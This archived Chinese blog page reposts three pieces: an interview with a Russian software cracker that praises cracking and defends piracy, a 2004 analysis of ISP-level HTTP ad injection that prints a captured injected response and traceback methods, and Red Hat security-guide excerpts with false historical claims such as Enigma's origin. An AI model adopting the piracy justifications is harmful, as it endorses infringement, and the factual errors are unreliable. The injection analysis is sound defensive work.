Archive for the ‘hacker’ Category

12
Mar

走近世界级Cracker – 同Ivanov谈Ivanov自己

   Posted by: 不存在

这是《黑客防线》原编辑萧雍发给cnBeta的采访稿件,首发《黑客防线》2004年第一期,杂志刊登时有删节,此文为原始完整无删节版,首次在互联网上和大家见面.


一位个性十足、憎恶失败,行事和思维近似于东方哲学的世界级软件逆向工程学俄罗斯著名专家Ivan博士,会给21世纪的Crack界带来什么样的变化?

Hacker和Cracker是有明显的区别,Hacker以严格的、天才般的思维感触这世界,以漂亮、简洁、完美的编程为自豪,发现系统级别的Bug为 乐趣,突破各种安全防范为资本,研究的范围一般在“突破” (Hack):网络系统、长途电话系统、PGP加密系统、信用卡识别系统、RAS系统、计算机病毒、无线系统以及身份识别系统等等。而Cracker对解 密软件有一种偏爱,以破解各种加密或限制的商业软件为乐趣,讲究Crack的艺术性和完整性,从文化上体现计算机的大众化。Cracker有很深的数学基 础和密码学造诣。的的确确,他们是计算机发展的一种动力。Ivan博士说:“Cracker是一个对于未知世界不间断的追问者。”

我一直渴望走近Cracker这一另类神秘群体中,直击他们的生存状态,探询他们的内心世界,这是一个太需要让更多人去了解、认识的精神世界,Cracker太需要一个客观公正的声音为其代言和正名。这一群体被大量不实报道和偏见误解所困。

没有Cracker,就没有加密和解密技术的对抗,就没有电脑防护技术的不断升级和突飞猛进,从某个角度讲,不能否认他们对计算机技术发展的贡献。

然而,在尝试与Cracker接触之初,感到莫大的难度。众所周知,软件公司总是对他们抱有仇视,同时,他们也深居简出、鲜为人知,大众对他们只有不明就 里的虔诚信奉和顶礼膜拜,笃信其传说中的万能。其实正因为Cracker的存在,促使了计算机软件的蓬勃发展,如同Hacker带来了Internet的 繁荣。

Ivan博士是诺基亚研究院俄罗斯分院的项目主管、总工程师。同时,也是世界著名cracker之一。Ivan博士毕业于俄罗斯下诺夫哥罗德大学,在芬兰 赫尔辛基大学取得博士学位。赫尔辛基大学始建于1640年,是一所在国际上享有盛誉的著名高等学府,也是芬兰第一所国立大学, 世界排名为第60位。Linux的作者Linus Torvalds即毕业于该校。 Ivan博士写有11篇关于IC芯片和3G通信技术的论文和百余篇密码学论文。记者有幸拜会了Ivan博士,并进行了独家采访。

我和Ivan博士算是相当熟悉了,Ivan博士给我的总体的印象是,作为世界级的软件逆向工程学的著名专家,为人谦和,内敛低调,不示张扬。由于惟恐招致圈内人的非议和误解,加之由于有所顾虑,为了尊重Ivan博士的意愿,在此就不再透露Ivan的团队名称。

“我就是这样走上Cracker之路的”

“睿智,机敏,具有世界级Cracker的严谨,坚强和果敢。”这是世界Cracker们给予他的形容词。是什么因素使Ivan博士走上了Cracker 之路?Ivan博士表示,是技术上的吸引,从兜里往外掏钱是一件很痛苦的事,即便是米哈伊尔·霍多尔科夫斯基(Mikhail Khodorkovsky)这样的首富也不例外,既然能通过技术取代付钱,为什么不这样做呢?在俄罗斯的法律上这样做并不触犯法。

1999年初,Ivan曾经使Macromedia公司损失了数百万美金,为此,Macromedia公司的律师Steve Wozniak给他发来电子邮件警告,说他的网页不合法,但是邮件中没有任何有价值的论点,包含了对Ivan的恐吓和侮辱,Ivan知道该律师的目的就是 让他关闭提供Macromedia公司的系列产品的crackz的下载站点,认为Macromedia的这个做法是很可笑的,由于俄罗斯法律确实不保护国 外计算机软件产品的版权,于是引用了部分对其有利的俄罗斯法律来驳斥律师。同年6月,他成立了一个Cracker组织,结束了他的单打独斗时代,经过短短 的几年拼搏,挤进了世界级Cracker组织的行列。由于有所顾忌,不能透露他的组织名称,可以知道的是,该组织集中精力研究密码学,基本上所有的成员都 对密码学有很深的研究,该组织所做的KeyGen和Patch,几乎个个都是精品,不以发布破解的数量来赢得自己的名声,只是集中精力研究大家公认的难 题,取得一个又一个辉煌的成绩,进而得到了全世界的认可。

“此后我曾经遭到两家公司的起诉”,Ivan博士说。一家是关于密码学专利权的使用,一家是关于游戏。由于人家研究出来的密码学成果是有专利权的,没经允 许是不可随便使用的;另外是在公司发布游戏前一个月,Ivan博士破解出来提前公布,结果造成游戏公司的损失。“很幸运我都摆脱了这些起诉。”Ivan耸 了耸肩头说。

记者询问Ivan博士周围的人们对他Cracker这一行的看法,Ivan博士表示,Cracker是一种不为外行所知的群体,并没有告诉别人知道。

“Ivan博士谈自己的思想和看法……”

萧雍:Ivan博士先生您好。对于您愿意接受《黑客防线》的采访,我们感到很荣幸。我想中国的读者对您是如何成为世界级的软件逆向工程学的著名专家很感兴趣,请问您是从哪年开始接触计算机的?

Ivan:我从很早的时候就开始接触计算机,大约是在1987年,第一台8086芯片的吧?不大肯定,当时我还真不知道是什么芯片的,我对于它也没什么兴趣,谁会想到它能发展到今天这个样子?我也绝没有想到我会从事一辈子和它打交道的工作。

萧雍:当时您对计算机最感兴趣的是什么?

Ivan:说实话,我当时对它一点兴趣也没有,你知道那时的计算机比现在的腕式电子表好不了多少,最多写一个命令语句让它的机箱喇叭“大叫”一声,当时我感觉那个声音可真难听。我当时对于电话这个东西可是很感兴趣,用一些“行话”来欺骗接线员我倒是挺在行。

萧雍:谁都知道Cracker是很枯燥、很寂寞的群体,是不是出于您对技术的狂热爱好和追求?加入这一群体,您感到最值得自豪的是什么?

Ivan:我没有什么可值得自豪的,我感谢上帝让我出生在这个时代,赶上经历计算机的发展,感谢上帝赐予我接受更高教育的机会,crack只是一个副产品,我的目标是向数学进军,而不是汇编语言。

萧雍:请问Ivan博士,一个真正的cracker与一个破解者有什么不同?

Ivan:Cracker是一个以不断探索的研究者,是对于现实世界的不间断追问者。破解者是一种纯粹的商业目的工作者,他们是以盈利为目的的。不过从外部很难区分他们彼此,毕竟这些都是纯粹的内心活动。
萧雍:要怎么样才能成为真正的cracker,究竟数学基础和密码学知识对于Cracker有何帮助?

Ivan: 呵呵,这是一个连贯的、相互弥补的几门学科,cracker接触用密码学保护的软件是在正常不过的了,不过要想分析这样的软件必需要了解一些密码学理论, 要想了解密码学理论必须要有坚实的数学基础。我还想补充一点的是作为一个真正的cracker,这几门学科还是远远不够的,至少还需要学习哲学、心理学。 其实我认为一个真正的cracker和英国爵士Arthur Conan Doyle创造的Sherlock Holmes(福尔摩斯)倒是很像。

萧雍: 哦?很像侦探?

Ivan: 是的他们之间的中心精神是相关联的。 Cracking的过程就像是据种种蛛丝马迹来作出种种推测。

萧雍:相关联?那您能简单概括一下cracker的精神象征是什么吗?

Ivan:我认为 可以用这三个词来概括 自由、平等、博爱

萧雍:为什么您将Cracker的精神象征用这三个词来概括——自由、平等、博爱?

Ivan:就和我对侦探的概括,也是同样的使用这三个词。用三个词表述了生命中最本质的东西,而这三个词——自由、平等、博爱——也同样适用于Cracker。全世界有数万cracker为这些理想而献身。于是我们决定看看,这些理想是如何被实践的,它们在今天又意味着什么。

萧雍:啊,原来是这个意义的——自由、平等、博爱,那您为什么对Cracker感兴趣,而不是程序员?我怎么认为程序员似乎是更能体现这三个词。

Ivan:我想在学习更高知识的同时,通过作品,表达我的感受。今天,很多的程序公司——当然并不代表全部的程序员——不愿意看到世界的复杂性,他们过于商业化了,程序公司更愿意的是简单的看世界,简单的思想:非白即黑,非好即坏……

萧雍:您刚才提到,Cracker的精神象征用“自由、平等、博爱”概括,那么,您是怎么处理自由、平等、博爱这三者及其相互关系的呢?

Ivan: 我非常仔细的观察了这三个概念,看它们在实际生活中是怎样发挥作用的,不过是从个体的观点出发。这些理念和人类的本性是对立的。当你在实际中真正涉及到它 们,你甚至不知道怎样带着这样的观念生活。人们真的想要自由、平等、博爱吗?它们是否有名无实?我们总是带着个体的、个人的观点来看这些问题。

萧雍:你转向Reverse Code Engineering Research——不过您仍旧极注重突破软件框架的束缚。

Ivan:我想想象的思维比RCE作品要聪明得多。在RCE方面研究了这么久,既有助于我现在的工作,同时又是一个障碍。就RCE而言,基础知识只是把你指向某一个方向,谁也不知道软件加密将怎样展开。RCE的时候,关键是获得尽可能多。

萧雍:如果这种思维方式被深入下去,你不觉得到最后逆向作品发布纯粹变成了借口吗?
Ivan:不,一点儿也不。绝对不会的。对我来说,逆向作品是我和一同工作的人交流的途径,所以它是关键。它可能只是个象征,但确是不可或缺的根本。在那之后,许多事情可以被更改:一些想法可能被去掉,新的软件技术可能变成我的思想,但RCE的真正意义,所有的思想,是不会变的。

萧雍:我没明白您的确切的意思,就是“对我来说,逆向作品是我和一同工作的人交流的途径,”?
Ivan:噢,也就是说,国际cracker交流都是通过发布作品的。作品与其说是作品,不如说是一种交流的语言,它能使外人认识你,使同行了解你的水平。

萧雍:您把自己称为一个工匠——一个和专家相对的称号。为什么?

Ivan: 真正的专家总能找到答案。而工匠的知识总是限于他的技术之内的。比如说,我很了解调试工具、计算机语言,我知道硬件调试器上不同指令的作用,我多少知道些 怎么使用密码算法。这些我都知道,可那不是真正的知识。真正的知识在于懂得怎样工作,工作的意义……诸如此类的东西。例如一个画家他画什么和利用什么工具 来画着些不重要,重要的是他怎样通过画来表达自己的思想。
萧雍:您的谈话越是切实,看上去就越有形而上学的意味。你似乎在寻找超乎具体与物质的东西。
Ivan:当然我希望能超越具体的事物。但这很难。非常困难。

萧雍:您在通过逆向代码试图捕捉什么?

Ivan:也许是灵魂。无论如何,我自己还没找到的一种事实。或许是一闪即逝却无法捕捉的思想。
萧雍:真正的Cracker知道逆向的价值,初学者也将重新学会去探索。这样的话对于Hacker和Crypto也能说的通。即便当你讨论逆向和学习时,思想总是决定性的?

Ivan: 老实说,在我的探索中,思想总是与逆向相对的。它产生两难境地,它带来苦楚。有了它、没了它,我都很苦恼,我的真实思想是对于防御的完美追求,但是这种追 求的过程正好与之相反,既要绞尽脑汁的寻找漏洞,又可望着它是无懈可击的防御方案。你很难能在我的语言中体会这种矛盾,它是无法形容的。

萧雍:您是如何看待现实生活中的自由和技术上的自由区别?现实生活中的经历是否改变了你对自由的看法?

Ivan: 不,因为自由技术与政治无关。我讨论的是内在技术的自由。如果我要讨论外在社会的自由--社会运动的自由--我会选择第三世界国家。因为显然,那儿还没 有变。举一些愚蠢的例子。你有护照,能去美国。可很多第三世界国家的人不能。有一份法国的薪水,你可以买一张去印度的飞机票,但反之并非如此。然而内在技 术的自由是普遍的。

萧雍:你们在互联网中分享技术自由,会遇到很多国家的人,在语言上你们是怎样解决的?

Ivan:像你可能推断的,我能熟练的说法语、英语、俄语,芬兰语,瑞典语,还有德语。我们创造了一种每个人都感到很舒服的氛围。与不同国籍的人在一起,我遇到没什么困难。

“其实,正是因为有了Cracker,世界上才有了更多的人从事程序员的行业,促使了软件保护技术的发展”

Ivan博士认为,实际上Cracker在俄罗斯乃至世界的IT行业没什么地位,Cracker只不过是为了让更多的人使用好的软件而已,但是如同没有 Hacker就不会有今天Internet技术的繁荣一样,同样的,没有Cracker,计算机也不会达到今天的普及程度,没有Cracker大部分程序 员决不会从事这一行业的。因为,如果没有盗版的编程开发软件,他们拿什么学呢?相信不会有谁为了学习像Visual Basic这样的软件就花数万元买正版的软件。“吃水莫忘掘井人”,Ivan博士笑着说。是的,从一个侧面来讲,如果没有盗版的横行,计算机应用就不会在 全世界普及,所以,尽管盗版不合法,但是却使世界上更多的人走上了程序员之路,促使了计算机科学的蓬勃发展。

关于正确对待Cracker群体的态度,Ivan博士认为,世上万事万物都有矛盾和统一,有矛就有盾,软件逆向工程也不例外。在Crack技术发展的同 时,软件保护技术的发展也一直没有停止过,从最初的磁盘加密,到现在泛滥的序列号、软件狗等,都是和Cracker技术同步发展、互相促进的。

“今后软件加密保护技术和Crack会向哪个方向发展?”

对于记者关于今后软件加密保护技术会向哪一个方向发展和crack的发展问题,Ivan博士回答道:

“首先,我试着说说加密的未来发展,我个人认为加密会向简单化发展,当然这种简单并不是算法上的简单,我指的是加密理论上的简单,由繁入简是事物的发展规 律,现在的加密方法已经发展到过于繁琐的地步了,我猜想很多加密的方式经过实践的考验会退出的,只剩下来的一些较为有效的方式。另外,64位的计算机很快 就会上市了,它的出现将会使得加密理论更加“人性化”使用更多的分析量来达到人脑的分析极限,从而防护自己。

关于crack技术的发展,这个可不好讲,我很难预见未来crack的发展,由于64位的计算机的性能和数学家的不断努力,说不定现在的算法密码理论很快被公式破解?也许不能,很难预见。”

“Ivan博士寄语中国读者……”>

萧雍:作为世界级的Cracker之一,您对中国Crack界有什么看法,对中国Crack界有什么话要说?
Ivan:中国的cracker很好,我有很多中国的cracker好朋友,将来希望我来中国旅游时,谁能请我喝一瓶酒?
萧雍:谢谢您能接受黑客防线的采访,请您对黑客防线的读者留几句话。

>Ivan: 感谢《黑客防线》的这个采访,谢谢!我想对《黑客防线》的读者说:“我相信我们身负一个责任,你知道,就是告诉应用软件的学习者: cracker和hacker是善良诚实的人,他们在与技术交往的时候,没有忘记无数学习者,他们愿意与之免费分享一些技术和学习资料,他们是热忱的、是 非常诚恳的。如果我能为建设并美化这种形象做出供献,并在外人心中产生更多的正面影响,我会为此感到非常高兴。”

采访后记

华灯初放,初冬的天渐渐黑了,我结束了对Ivan博士的采访。想到国内大众对Cracker的偏见,我不由想为这些Cracker还原其本来的面目!虽然 Cracker和盗版有着千丝万缕的关系,但从某些方面上说,盗版对促进信息化的进程也有一定的作用,就像盗版VCD养活了一大批VCD机制造商一样,大 量的盗版软件,促进了世界IT行业的繁荣,没有盗版,计算机制造业就不会像现在这样发达。可以想像,花6000元装一台电脑,可要花上万元购买系统和应用 软件,你会买吗?难道让人人都学Linux?没有电脑,就不会有电脑知识的普及!

真正的Cracker不是为了破解一个软件而破解,他们的目的,就是讨论技术,包括加密技术。由于他们的存在,才使软件开发商对自己的产品更能防止破解, 这些群体反过来也可以为软件开发商们服务,让他们能发现自已产品的缺点,找出问题。坦白的说,凡事都有对立面,Cracker的存在,促进了软件业的发 展。盗版并不是Cracker的问题,其实软件业的Cracker的水平是很高的,一般都是软件制作高手,如俄罗斯、荷兰、英国、北欧以及亚洲的一些国 家。

Ivan博士近期的研究成果
1.Combinational Logic Design for AES SubByte Transformation on Masked Data;
2.Fuzzy Extractors and Cryptography, or How to Use Your Fingerprints;
3.Public-Key Steganography with Active Attacks;
4.A Fast Provably Secure Cryptographic Hash Function;
5.Algebraic Attacks on Summation Generators;
6.Attacks on a Secure Group Communication Scheme With Hierarchical Access Control;
7.Cryptanalysis of a Cryptosystem based on Drinfeld modules;
8.Cryptanalysis of the Repaired Public-key Encryption Scheme Based on the Polynomial Reconstruction Problem;
9.Isomorphism Classes of Hyperelliptic Curves of Genus 2 over $mathbb{F}_{2^n}$;
10.Yet Another Sieving Device

http://blog.csdn.net/aeonspider/archive/2007/03/07/1522742.aspx

13
Feb

谁控制了我们的浏览器

   Posted by: 不存在

原地址:http://www.opencjk.org/~scz/body/200407200000.txt

标题: 谁控制了我们的浏览器

作者: 2f4f587a80c2dbbd870a46481b2b1882
日期: 2004-07-20

0、版权

本文遵从GPL协议,欢迎转载。

1、现象是什么?

大约从今年年初开始,很多人就发现,在浏览一些网站的时候,地址栏的url后面会被
莫名其妙地加上“?curtime=xxxxxxxxxx”(x为数字),并且弹出广告窗口。很多人
以为这是网站自己弹出的广告,也就没有在意。

我是属于很在意的那些人之一。

2、这是怎么回事?

经过测试和分析,我们发现,上述现象与使用何种浏览器无关(我们测试了各种流行
的http客户端),与使用何种操作系统也无关(linux用户也有相关报告)。我对出现
该现象的IE浏览器进程进行了跟踪调试,没有发现任何异常。可以断定,并不是系统
被安装了adware或者spyware。

那么是不是那些网站自己做的呢?后来发现,访问我们自己管理的网站时也出现了这
种情况,排除了这个可能。

那么剩下唯一的可能就是:有人在某个或某几个关键网络节点上安装了inject设备,
劫持了我们的HTTP会话——我实在是不愿相信这个答案,这个无耻、龌龊的答案。

伟大的谢洛克·福尔摩斯说过:当其他可能都被排除之后,剩下的,即使再怎么不可
思议,也一定是答案。

为了验证这个想法,我选择了一个曾经出现过上述现象的网站附近网段的某个IP。直
接访问这个IP的HTTP服务,正常情况下是没有页面的,应该返回404错误。我写了一个
脚本,不断访问这个IP,同时记录进出的数据包。在访问进行了120次的时候,结束请
求,查看数据。120次请求中,118次返回的都是正常的404错误:

HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Mon, 19 Jul 2004 12:57:37 GMT
Connection: close
Content-Type: text/html
Content-Length: 111

<html><head><title>Site Not Found</title></head>
<body>No web site is configured at this address.</body></html>

但是有两次,返回了这个:

HTTP/1.1 200 OK
Content-type: text/html

<html>
<meta http-equiv='Pragma' content='no-cache'>
<meta http-equiv='Refresh' content='0;URL=?curtime=1091231851'>
<script>
window.open('http://211.147.5.121/DXT06-005.htm', '', 'width=400,height=330');
</script>
<head>
<title></title>
</head>
<body>
</body>
</html>

更进一步分析数据包,可知劫持流程如下:

A、在某个骨干路由器的边上,躺着一台旁路的设备,监听所有流过的HTTP会话。这个
设备按照某种规律,对于某些HTTP请求进行特殊处理。

B、当一个不幸的HTTP请求流过,这个设备根据该请求的seq和ack,把早已准备好的数
据作为回应包,发送给客户端。这个过程是非常快的,我们的HTTP请求发出之后,仅
过了0.008秒,就收到了上面的回应。而任何正常的服务器都不可能在这么短的时间内
做出回应。

C、因为seq和ack已经被伪造的回应用掉了,所以,真正的服务器端数据过来的时候,
会被当作错误的报文而不被接受。

D、浏览器会根据<meta http-equiv='Refresh' content='0;URL=?curtime=1091231851'>
这一行,重新对你要访问的URL进行请求,这一次,得到了请求的真正页面,并且调用
window.open函数打开广告窗口。

在google中以“php?curtime”、“htm?curtime”、“asp?curtime”为关键字搜索,
出现的基本上是国内网站,这表明,问题出在国内。用于inject的设备插在国内的某
个或某几个大节点上。

真相大白。我们被愚弄了,全中国的网民都成了某些人的赚钱工具。

3、现在怎么办?

在坏家伙被捉出来之前,我们要想不受这个玩意的骚扰,可以考虑下面的方法:

A、请各单位的网络管理员,在网络的边界设备上,完全封锁211.147.5.121。
B、在你自己的个人防火墙上,完全封锁211.147.5.121。
C、如果你的浏览器是FireFox、Opera、GreenBrowser、或者MyIE,可以把
“http://211.147.5.121/*”丢到弹出窗口过滤列表中去。

绝不只是广告那么简单,这涉及到我们的选择,我们的自由,这比垃圾邮件更加肮脏
和无耻。今天是广告,明天就可能在你下载软件的时候给你加个adware或者加个病毒
进去,谁知道呢?我们的HTTP通信完全控制在别人手里。

4、如何把坏家伙揪出来?

如果你是一个有权力调查和处理这件事的人,从技术上,可以考虑下面的手段:

方法1、

伪造的回应数据中并没有处理TTL,也就是说,我们得到的回应数据中TTL是和inject
设备位置相关的。以我收到的数据包为例,真实的服务器端回应TTL是107,伪造的回
应TTL是53。那么,从我们这里到被请求的服务器之间经过了21(128-107)个节点,
从我们这里到inject设备经过了11(64-53)个节点。只需要traceroute一下请求的服
务器,得到路由回溯,往外数第11个节点就是安插inject设备的地方!

方法2:

假如坏家伙也看到了这篇文章,修改了TTL,我们仍然有办法。在google上以下面这些
关键字搜索:
php?curtime
htm?curtime
asp?curtime
可以得到大量访问时会被inject的网址。编写脚本反复访问这些网址,验证从你的ip
访问过去是否会被inject。将确实会被inject的结果搜集起来,在不同的网络接入点
上挨个用traceroute工具进行路由回溯。分析回溯的结果。

上面我们已经说明了,坏家伙是在某个或者某些重要节点上安插了inject设备,那么
这个节点必然在被inject的那些网址到我们的IP之间的某个位置上。例如有A、B、C、
D四个被inject到的网站,从四个地方进行路由回溯的结果如下:

MyIP-12-13-14-15-65-[89]-15-57-A
MyIP-66-67-68-69-85-[89]-45-68-84-52-44-B
MyIP-34-34-36-28-83-[89]-45-63-58-64-48-41-87-C
MyIP-22-25-29-32-65-45-[89]-58-D

显然,inject设备极大可能就在“89”所在的机房。

方法3:

另一方面,可以从存放广告业面的211.147.5.121这个IP入手,whois查询结果如下:

inetnum: 211.147.0.0 - 211.147.7.255
netname: DYNEGY-COMMUNICATION
descr: DYNEGY-COMMUNICATION
descr: CO.LTD
descr: BEIJING
country: CN
admin-c: PP40-AP
tech-c: SD76-AP
mnt-by: MAINT-CNNIC-AP
changed: hui_zh@sina.com 20011112
status: ALLOCATED PORTABLE
source: APNIC

person: Pang Patrick
nic-hdl:    PP40-AP
e-mail: bill.pang@bj.datadragon.net
address: Fl./8, South Building, Bridge Mansion, No. 53
phone: +86-10-63181513
fax-no: +86-10-63181597
country: CN
changed: ipas@cnnic.net.cn 20030304
mnt-by: MAINT-CNNIC-AP
source: APNIC

person: ShouLan Du
address: Fl./8, South Building, Bridge Mansion, No. 53
country: CN
phone: +86-010-83160000
fax-no: +86-010-83155528
e-mail: dsl327@btamail.net.cn
nic-hdl: SD76-AP
mnt-by: MAINT-CNNIC-AP
changed: dsl327@btamail.net.cn 20020403
source: APNIC

5、我为什么要写这篇文章?

新浪为我提供桃色新闻,我顺便看看新浪的广告,这是天经地义的;或者我安装某某
网站的广告条,某某网站付给我钱,这也是天经地义的。可是这个211.147.5.121既不
给我提供桃色新闻,又不给钱,却强迫我看广告,这就严重伤害了我脆弱而幼小的心
灵。事实上,你可以敲诈克林斯·潘,强奸克里奥·佩德拉,咬死王阳明,挖成吉思
汗墓,我都不会计较,但是现在你既然打搅了我的生活,我就不得不说几句了。

6、我是谁?

如果你知道MyName,又知道MyCount的话,那么,用下面这段perl可以得到:
2f4f587a80c2dbbd870a46481b2b1882。

#!/usr/bin/perl -w

use Digest::MD5 qw(md5 md5_hex md5_base64);

$name = 'MyName';
$count = MyCount;

for ($i=0; $i<$count; $i++)
{
    $name = md5_hex($name);
}

print $name;

以下签名,用于以后可能出现的关于此文的交流:

1 6631876c2aea042934a5c4aaeabb88e9
2 a6a607b3bcff63980164d793ff61d170
3 6a58e8148eb75ce9c592236ef66a3448
4 ded96d29f7b49d0dd3f9d17187356310
5 cc603145bb5901a0ec8ec815d83eea66

原地址:http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/zh_cn/security-guide/ch-risk.html

第 2章 . 攻击者和弱点

为了设计和实现一个良好的安全策略,我们首先要明确激发攻击者决意攻击和破坏系统的原因所在。但是在详细阐明这些问题前,我们必须首先定义识别攻击者时所用的术语。

2.1. 黑客简明历史

黑客(hacker)这个术语的现代意义起源于1960年的麻省理工学院(MIT)技术模型铁路俱乐部。这个俱乐部设计比例较大、细节逼真的火车模型。“黑客”被用来称呼那些发现了聪明技巧或问题的绕行措施的俱乐部成员。

从那以后,“黑客”这个术语就被用来描述从计算机迷到具有天赋的编程员之类的人士。多数黑客的共同之处是他们对计算机系统和网络的自发的探索之心。开源软件开发者经常认为自己和他们的同事是黑客,并且把这个称谓当作一种尊称。

典型的黑客都遵守一种黑客道德(hacker ethic)。它要求黑客必须追求专门知识和技能,和社区分享这些知识和技能是每个黑客的职责。在追求知识的过程中,某些黑客会从规避计算机系统的安全控制的学术挑战中获得乐趣。由于这个原因,新闻媒界经常使用“黑客”这个术语来描述那些蓄意地、带有犯罪意图的非法进入系统和网络的人。描述这类人的更恰当的用语应该是怪客(cracker) — 被黑客在八十年代中期创造出来的术语,用来区分这两个社区。

2.1.1. 灰度

寻找和利用系统和网络弱点的人被区分成不同种类。这种类别是按照他们在进行安全弱点调查时所“戴”的帽子颜色来区分的。帽子的颜色代表了他们的企图。

白帽黑客(white hat hacker)测试网络和系统的性能来判定它们能够承受入侵的强弱程度。通常,白帽黑客攻击他们自己的系统,或被聘请来攻击客户的系统以便进行安全审查。学术研究人员和专职安全顾问就属于白帽黑客。

黑帽黑客(black hat hacker)是怪客的同义词。通常来说,怪客并不注重于入侵系统的编程或学术方面。他们经常为了个人利益而依靠现成的攻击程序和著名的系统漏洞弱点来发现保密信息,或破坏目标系统或网络。

另一方面,灰帽黑客(grey hat hacker)在多数情况下都具备白帽黑客的技术和意图,但是偶尔也使用这种知识来进行不太光明正大的行径。灰帽黑客可以被认为是偶尔会为个人企图而戴着黑帽的白帽黑客。

典型的灰帽黑客会遵循另一种黑客道德。他认为闯入系统是无可非议的,只要不进行盗窃行为或破坏保密信息就可以。不过,某些人可能会说,闯入系统本身就是不道德的。

不管入侵者的意图如何,了解怪客会试图利用的漏洞这一点都很重要。本章的剩余部分将会集中讨论这些问题。

原地址:http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/zh_cn/security-guide/ch-sgs-ov.html

第 1章 . 安全总览

由于近来对使用功能强大的联网计算机来帮助商业运转和记录个人信息的依赖性日益增强,许多围绕着网络和计算机安全的行业也渐渐形成。企业机构开始聘请安全专家来确切地评审系统以及定制适合其组织的解决方案。由于许多机构属于动态性质,工作人员要么本地要么远程地使用公司的信息技术资源,因此机构们对安全计算环境的需求已愈来愈强烈。

不幸的是,多数机构(以及个体用户)把安全问题当成“马后炮”。安全问题常常会由于对增强功能、提高生成率以及对预算的考虑而被忽略。正确的安全措施经常是在事后调查(postmortem)后才被实施 — 在非法入侵事件出现之后。安全专家们都一致认为,在把网站连接到不信任的网络(如国际互联网)之前预先采取正确的措施是阻挠入侵企图的有效方法。

1.1. 什么是计算机安全?

计算机安全这个通用术语所涉及的计算和信息处理领域比较广泛。依赖于计算机系统和网络来处理日常商业事务和存取重要信息的行业把它们的数据当作公司总资产的重要组成部分。一些术语和衡量标准也渐渐开始出现在我们的日常商业用语中。例如:整体拥有成本(total cost of ownership,TCO)、服务质量(quality of service,QoS)。在这些衡量标准中,行业把数据完好性和高可用性方面也计算入他们的计划和进程管理费用中。在某些行业(如电子商务)中,数据的可用性和可信性可能就会决定成败。

1.1.1. 计算机安全问题溯源

许多读者可能还会记得马修-布罗德里克(Matthew Broderick)主演的电影《战争游戏》。他在其中扮演了一个闯入美国国防部超级电脑而在无意中导致核战争危机的高中学生。在电影中,布罗德里克使用他的调制解调器拨入美国国防部的电脑(叫做 WOPR),和一个控制所有核导弹发射井的人工智能软件玩游戏。这个电影是在1983年前苏联和美国的冷战期间被发行的,它被认为是当年戏剧片的成功之作。它的流行激发了许多个人和团体开始实施那个年轻的主人公所用的闯入机密系统的方法,包括著名的“战争拨号(war dialing)” — 按照区号和电话前缀组合来搜索模拟调制解调器连接的电话号码。

十多年后,通过美国联邦调查局(FBI)和全美国的计算机专家的鼎力合作,以及历时四年的多司法区的追踪,声名狼藉的计算机怪客凯文·米蒂尼克(Kevin Mitnick)终于被逮捕。他被指控了25项计算机和存取设备的诈骗盗窃罪。这些诈骗盗窃活动导致诺基亚(Nokia)、NEC、Sun Microsystems、Novell、富士(Fujitsu)、和摩托罗拉(Motorola)损失了近八千万美元的知识产权和源码。该案件被 FBI 认为是当时美国历史上最大的计算机犯罪案件。凯文·米蒂尼克被定罪并被判处了5年零8个月的徒刑。他共服刑5年,于2000年1月21日被假释。假释条件禁止他在2003年之前使用计算机或从事任何和计算机相关的顾问工作。调查员说,米蒂尼克是社交工程(social engineering) — 使用人际关系来获得口令,使用伪造身份来进入系统 — 的专家。

由于对使用公共网络来传送私人、财经、以及其它保密信息的依赖性越来越大,信息安全的性质也随之演变。米蒂尼克和范德米尔·列文(请参阅第 1.1.2 节)这类案件的层出不穷,使得各行各业都不得不开始重新考虑他们处理信息传输的策略。国际互联网的流行性是促使对数据安全方面付出更多努力的主要发展因素之一。

越来越多的人使用他们的个人计算机来获取国际互联网所提供的各项资源。从研究、信息检索,到电子邮件和电子商务,互联网已被公认为是二十世纪最重要的开发成果之一。

然而,互联网和它早期的协议是作为基于信任(trust-based) 的系统开发的。这就是说,互联网协议自身的设计是不安全的。TCP/IP 通信栈中没有内建任何被核准的安全标准,因此带有潜在不良企图的网络用户和进程几乎能够畅行无阻。虽然当前的开发已大大提高了互联网通信的安全性,但是偶尔仍有令人瞠目之事发生。这些事件时刻提醒我们,世界上没有任何东西和事情是完全安全的。

1.1.2. 计算机安全大事表

在计算机安全问题的发生和发展过程中出现了几件对其产生了深远影响的重要事件。以下列出了一些使人们开始关注计算机和信息安全的重要事件。

1.1.2.1. 三十年代和四十年代

 

  • 波兰密码破译家在 1918 年发明了 Enigma 机器。它是一个机械式螺旋密码计算设备。它把纯文本消息转换成加密文本。最初,这是为保护银行通信安全而开发的。在第二次世界大战时,德国军事部门发觉该设备具备加密通讯的潜力。一个叫做 Alan Turing 的卓越数学家发明了攻破 Enigma 密码的方法,从而使联军开发了叫做 Colossus 的机器。很多资料都认为 Colossus 使二战提前一年结束。

1.1.2.2. 六十年代

 

  • 麻省理工学院(MIT)的学生组织了技术模型铁路俱乐部(Tech Model Railroad Club,TMRC),开始使用学院里的 PDP-1 大型机进行编程探索。最终,这个小组发明了“黑客”这个术语,其意义和今天相仿。

  • 美国国防部创建了高级研究计划局网(Advanced Research Projects Agency Network,ARPANet)。它在研究界和学术界越来越流行,逐渐成为电子数据信息的交换渠道。这为创建今天所称的“互联网”奠定了基础。

  • Ken Thompson 开发了 UNIX 操作系统。由于这个系统提供了使用方便的开发工具和编译器,以及支持性的用户社区,它被广泛认为是最“黑客友好”的操作系统。与此同时,Dennis Ritchie 开发了 C 编程语言,该语言可以说是计算机历史上最流行的黑客语言。

1.1.2.3. 七十年代

 

  • Bolt, Beranek, and Newman 是美国政府和行业内的计算机研究和开发承包商。它们开发了 Telnet 协议 – ARPANet 的公共扩展。该协议为公开使用从前仅限于政府承包商和学术研究者的数据网络打开了方便之门。据几位安全研究员表明,Telnet 也可以算是公共网络中最不安全的协议。

  • Steve Jobs 和 Steve Wozniak 创办了苹果计算机(Apple Computer),并开始推销个人计算机(PC)。PC 是一些蓄意不良的用户学习使用普通电脑通信硬件(如模拟调制解调器和战争拨号器)来远程入侵系统这门艺术的跳板。

  • Jim Ellis 和 Tom Truscott 创建了 USENET – 用于在分散的用户间进行电子通信的公告板风格的系统。USENET 迅速成为交换计算、联网、以及入侵攻击方面的观点见解的最流行论坛之一。

1.1.2.4. 八十年代

 

